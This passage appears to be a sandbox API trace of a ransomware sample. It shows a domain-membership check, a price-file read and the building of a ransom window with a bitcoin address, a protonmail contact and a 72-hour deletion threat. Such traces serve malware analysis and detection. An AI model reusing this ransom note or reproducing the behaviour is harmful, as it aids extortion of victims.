[0053.777] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0053.777] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0053.777] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0053.777] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0053.777] PeekMessageW (in: lpMsg=0x32af65ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65ef20) returned 0 [0053.778] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0053.778] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0053.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0053.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0x32af858bd0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetGetJoinInformation", lpUsedDefaultChar=0x0) returned 22 [0053.791] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetGetJoinInformation") returned 0x7ffe265119a0 [0053.791] NetGetJoinInformation (in: lpServer="", lpNameBuffer=0x32af65e698, BufferType=0x32af65e6c0 | out: lpNameBuffer=0x32af65e698*="WORKGROUP", BufferType=0x32af65e6c0) returned 0x0 [0053.796] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0053.800] PeekMessageW (in: lpMsg=0x32af65ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65ef20) returned 0 [0053.800] PeekMessageW (in: lpMsg=0x32af65ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65ef20) returned 0 [0053.800] PeekMessageW (in: lpMsg=0x32af65ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65ef20) returned 0 [0053.800] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0053.800] PeekMessageW (in: lpMsg=0x32af65e680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65e680) returned 0 [0053.801] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0053.801] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0053.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0053.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0x32af859770, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferSize", lpUsedDefaultChar=0x0) returned 17 [0053.807] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferSize") returned 0x7ffe29755584 [0053.808] NetApiBufferSize (in: Buffer=0x32af86ab00, ByteCount=0x32af65ddf8 | out: ByteCount=0x32af65ddf8) returned 0x0 [0053.808] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0053.809] PeekMessageW (in: lpMsg=0x32af65e680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65e680) returned 0 [0053.809] PeekMessageW (in: lpMsg=0x32af65e680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65e680) returned 0 [0053.810] CharLowerBuffW (in: lpsz="wchar[48]", cchLength=0x9 | out: lpsz="wchar[48]") returned 0x9 [0053.810] PeekMessageW (in: lpMsg=0x32af65ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65ef20) returned 0 [0053.810] PeekMessageW (in: lpMsg=0x32af65ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65ef20) returned 0 [0053.810] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0053.811] LoadLibraryW (lpLibFileName="netapi32.dll") returned 0x7ffe26550000 [0053.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferFree", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0053.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferFree", cchWideChar=17, lpMultiByteStr=0x32af859310, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferFree", lpUsedDefaultChar=0x0) returned 17 [0053.820] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferFree") returned 0x7ffe29751010 [0053.821] NetApiBufferFree (Buffer=0x32af86ab00) returned 0x0 [0053.821] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0053.822] PeekMessageW (in: lpMsg=0x32af65ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65ef20) returned 1 [0053.822] TranslateMessage (lpMsg=0x32af65ef20) returned 0 [0053.822] DispatchMessageW (lpMsg=0x32af65ef20) returned 0xffffffff [0053.822] GetForegroundWindow () returned 0x301cc [0053.822] GetWindowLongPtrW (hWnd=0x301cc, nIndex=-21) returned 0x0 [0053.822] PeekMessageW (in: lpMsg=0x32af65ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65ef20) returned 0 [0053.822] PeekMessageW (in: lpMsg=0x32af65ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65ef20) returned 0 [0053.822] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0053.822] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0053.822] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0053.822] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0053.822] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0053.822] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.822] CreateWindowExW (dwExStyle=0x0, lpClassName="static", lpWindowName="Your files has been safely encrypted", dwStyle=0x50000100, X=16, Y=8, nWidth=600, nHeight=42, hWndParent=0x201f4, hMenu=0x5, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x130182 [0053.823] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.823] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x210, wParam=0x50001, lParam=0x130182) returned 0x0 [0053.823] GetStockObject (i=17) returned 0x10a0047 [0053.823] SendMessageW (hWnd=0x130182, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0053.823] GetSysColor (nIndex=18) returned 0x0 [0053.823] GetClientRect (in: hWnd=0x130182, lpRect=0x32af65f660 | out: lpRect=0x32af65f660) returned 1 [0053.823] GetWindowRect (in: hWnd=0x130182, lpRect=0x32af65f660 | out: lpRect=0x32af65f660) returned 1 [0053.823] SetWindowLongPtrW (hWnd=0x130182, nIndex=-21, dwNewLong=0x5) returned 0x0 [0053.824] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.824] GetDC (hWnd=0x0) returned 0x11010729 [0053.824] GetDeviceCaps (hdc=0x11010729, index=90) returned 96 [0053.824] ReleaseDC (hWnd=0x0, hDC=0x11010729) returned 1 [0053.824] CreateFontW (cHeight=-30, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x1c0a0813 [0053.824] SendMessageW (hWnd=0x130182, Msg=0x30, wParam=0x1c0a0813, lParam=0x1) returned 0x0 [0053.824] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.824] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.825] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="Decryptionkey", dwStyle=0x50010080, X=304, Y=400, nWidth=305, nHeight=40, hWndParent=0x201f4, hMenu=0x6, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x301f2 [0053.826] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.826] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.826] GetWindowLongPtrW (hWnd=0x301f2, nIndex=-21) returned 0x0 [0053.826] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x111, wParam=0x4000006, lParam=0x301f2) returned 0x0 [0053.826] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.826] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.826] GetWindowLongPtrW (hWnd=0x301f2, nIndex=-21) returned 0x0 [0053.826] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x111, wParam=0x3000006, lParam=0x301f2) returned 0x0 [0053.826] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.826] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x55, wParam=0x301f2, lParam=0x3) returned 0x2 [0053.826] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.826] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0053.826] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.826] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x210, wParam=0x60001, lParam=0x301f2) returned 0x0 [0053.829] GetStockObject (i=17) returned 0x10a0047 [0053.829] SendMessageW (hWnd=0x301f2, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0053.829] GetClientRect (in: hWnd=0x301f2, lpRect=0x32af65f670 | out: lpRect=0x32af65f670) returned 1 [0053.829] GetWindowRect (in: hWnd=0x301f2, lpRect=0x32af65f670 | out: lpRect=0x32af65f670) returned 1 [0053.830] SetWindowLongPtrW (hWnd=0x301f2, nIndex=-21, dwNewLong=0x6) returned 0x0 [0053.830] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.830] GetDC (hWnd=0x0) returned 0x11010729 [0053.830] GetDeviceCaps (hdc=0x11010729, index=90) returned 96 [0053.830] ReleaseDC (hWnd=0x0, hDC=0x11010729) returned 1 [0053.830] CreateFontW (cHeight=-26, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Arial") returned 0x6c0a0816 [0053.830] SendMessageW (hWnd=0x301f2, Msg=0x30, wParam=0x6c0a0816, lParam=0x1) returned 0x1 [0053.830] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.831] CreateWindowExW (dwExStyle=0x100, lpClassName="button", lpWindowName="Buy Bitcoins", dwStyle=0x50010000, X=15, Y=400, nWidth=153, nHeight=41, hWndParent=0x201f4, hMenu=0x7, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x301f8 [0053.831] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.831] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x55, wParam=0x301f8, lParam=0x3) returned 0x2 [0053.831] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.831] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0053.831] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.831] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x210, wParam=0x70001, lParam=0x301f8) returned 0x0 [0053.831] GetStockObject (i=17) returned 0x10a0047 [0053.831] SendMessageW (hWnd=0x301f8, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0053.831] GetClientRect (in: hWnd=0x301f8, lpRect=0x32af65f660 | out: lpRect=0x32af65f660) returned 1 [0053.831] GetWindowRect (in: hWnd=0x301f8, lpRect=0x32af65f660 | out: lpRect=0x32af65f660) returned 1 [0053.831] SetWindowLongPtrW (hWnd=0x301f8, nIndex=-21, dwNewLong=0x7) returned 0x0 [0053.832] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.832] GetDC (hWnd=0x0) returned 0x11010729 [0053.832] GetDeviceCaps (hdc=0x11010729, index=90) returned 96 [0053.832] ReleaseDC (hWnd=0x0, hDC=0x11010729) returned 1 [0053.832] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0xffffffffaf0a05cc [0053.832] SendMessageW (hWnd=0x301f8, Msg=0x30, wParam=0xffffffffaf0a05cc, lParam=0x1) returned 0x0 [0053.832] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.833] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\1365363213" (normalized: "c:\\progra~1\\common~1\\1365363213"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0053.833] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.833] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x32af65f750, dwMoveMethod=0x1 | out: lpNewFilePointer=0x32af65f750*=0) returned 1 [0053.833] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x32af65f740, dwMoveMethod=0x1 | out: lpNewFilePointer=0x32af65f740*=0) returned 1 [0053.833] ReadFile (in: hFile=0x194, lpBuffer=0x32af889ce0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x32af65f780, lpOverlapped=0x0 | out: lpBuffer=0x32af889ce0*, lpNumberOfBytesRead=0x32af65f780*=0x1b, lpOverlapped=0x0) returned 1 [0053.833] ReadFile (in: hFile=0x194, lpBuffer=0x32af889ce0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x32af65f780, lpOverlapped=0x0 | out: lpBuffer=0x32af889ce0*, lpNumberOfBytesRead=0x32af65f780*=0x0, lpOverlapped=0x0) returned 1 [0053.833] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0053.833] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x32af65f7c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0x32af65f7c0*=27) returned 1 [0053.833] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.833] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x32af65f7c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0x32af65f7c0*=0) returned 1 [0053.833] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x32af65f710, dwMoveMethod=0x1 | out: lpNewFilePointer=0x32af65f710*=0) returned 1 [0053.833] ReadFile (in: hFile=0x194, lpBuffer=0x32af889ce0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x32af65f750, lpOverlapped=0x0 | out: lpBuffer=0x32af889ce0*, lpNumberOfBytesRead=0x32af65f750*=0x1b, lpOverlapped=0x0) returned 1 [0053.833] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x32af86a1c0, cbMultiByte=28, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0053.833] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x32af86a1c0, cbMultiByte=28, lpWideCharStr=0x32af86ad40, cchWideChar=28 | out: lpWideCharStr="$1000 = 0.44407866 Bitcoins") returned 28 [0053.833] CloseHandle (hObject=0x194) returned 1 [0053.834] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.834] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0053.834] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0053.834] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0053.834] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0053.834] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0053.834] PeekMessageW (in: lpMsg=0x32af65ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65ef20) returned 0 [0053.835] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0053.835] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0053.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0053.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0x32af859250, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetGetJoinInformation", lpUsedDefaultChar=0x0) returned 22 [0053.841] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetGetJoinInformation") returned 0x7ffe265119a0 [0053.841] NetGetJoinInformation (in: lpServer="", lpNameBuffer=0x32af65e698, BufferType=0x32af65e6c0 | out: lpNameBuffer=0x32af65e698*="WORKGROUP", BufferType=0x32af65e6c0) returned 0x0 [0053.847] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0053.848] PeekMessageW (in: lpMsg=0x32af65ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65ef20) returned 0 [0053.848] PeekMessageW (in: lpMsg=0x32af65ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65ef20) returned 0 [0053.848] PeekMessageW (in: lpMsg=0x32af65ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65ef20) returned 0 [0053.849] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0053.849] PeekMessageW (in: lpMsg=0x32af65e680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65e680) returned 0 [0053.849] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0053.849] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0053.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0053.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0x32af859810, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferSize", lpUsedDefaultChar=0x0) returned 17 [0053.855] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferSize") returned 0x7ffe29755584 [0053.856] NetApiBufferSize (in: Buffer=0x32af86a140, ByteCount=0x32af65ddf8 | out: ByteCount=0x32af65ddf8) returned 0x0 [0053.856] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0053.860] PeekMessageW (in: lpMsg=0x32af65e680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65e680) returned 0 [0053.860] PeekMessageW (in: lpMsg=0x32af65e680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65e680) returned 0 [0053.860] CharLowerBuffW (in: lpsz="wchar[48]", cchLength=0x9 | out: lpsz="wchar[48]") returned 0x9 [0053.860] PeekMessageW (in: lpMsg=0x32af65ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65ef20) returned 0 [0053.861] PeekMessageW (in: lpMsg=0x32af65ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65ef20) returned 0 [0053.861] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0053.863] PeekMessageW (in: lpMsg=0x32af65ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65ef20) returned 0 [0053.863] PeekMessageW (in: lpMsg=0x32af65ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65ef20) returned 0 [0053.863] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0053.863] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0053.863] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0053.863] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0053.863] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0053.863] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.863] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="The only way you can recover your files is to buy a decryption key, Please send the mentioned about of money in bitcoins to the following address bitcoin:1rixKVYiwwtDheLLb7QHEmxF4Nb1Xt1Fq or all files will be deleted in 72 hours,,,,,, After payment Please Contact (shadowbroker_1@protonmail.com)\r\nThe payment method is: Bitcoins. The price is: $1000 = 0.44407866 Bitcoins\r\n\r\nClick on the 'Buy decryption key' button.", dwStyle=0x50000804, X=16, Y=456, nWidth=768, nHeight=177, hWndParent=0x201f4, hMenu=0x8, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x301f6 [0053.880] GetWindowLongPtrW (hWnd=0x201f4, nIndex=-21) returned 0x0 [0053.880] NtdllDialogWndProc_W (hDlg=0x201f4, Msg=0x210, wParam=0x80001, lParam=0x301f6) returned 0x0 [0053.880] GetStockObject (i=17) returned 0x10a0047 [0053.880] SendMessageW (hWnd=0x301f6, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0053.880] GetWindowTextLengthW (hWnd=0x301f6) returned 417 [0053.880] SendMessageW (hWnd=0x301f6, Msg=0xb1, wParam=0x1a1, lParam=0x1a1) returned 0x1 [0053.880] GetClientRect (in: hWnd=0x301f6, lpRect=0x32af65f660 | out: lpRect=0x32af65f660) returned 1 [0053.880] GetWindowRect (in: hWnd=0x301f6, lpRect=0x32af65f660 | out: lpRect=0x32af65f660) returned 1 [0053.880] SetWindowLongPtrW (hWnd=0x301f6, nIndex=-21, dwNewLong=0x8) returned 0x0 [0053.881] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 1 [0053.881] TranslateMessage (lpMsg=0x32af65fc10) returned 0 [0053.881] DispatchMessageW (lpMsg=0x32af65fc10) returned 0xffffffff [0053.881] GetForegroundWindow () returned 0x301cc [0053.881] GetWindowLongPtrW (hWnd=0x301cc, nIndex=-21) returned 0x0 [0053.881] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0053.881] GetDC (hWnd=0x0) returned 0xe010572 [0053.881] GetDeviceCaps (hdc=0xe010572, index=90) returned 96 [0053.881] ReleaseDC (hWnd=0x0, hDC=0xe010572) returned 1 [0053.881] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, 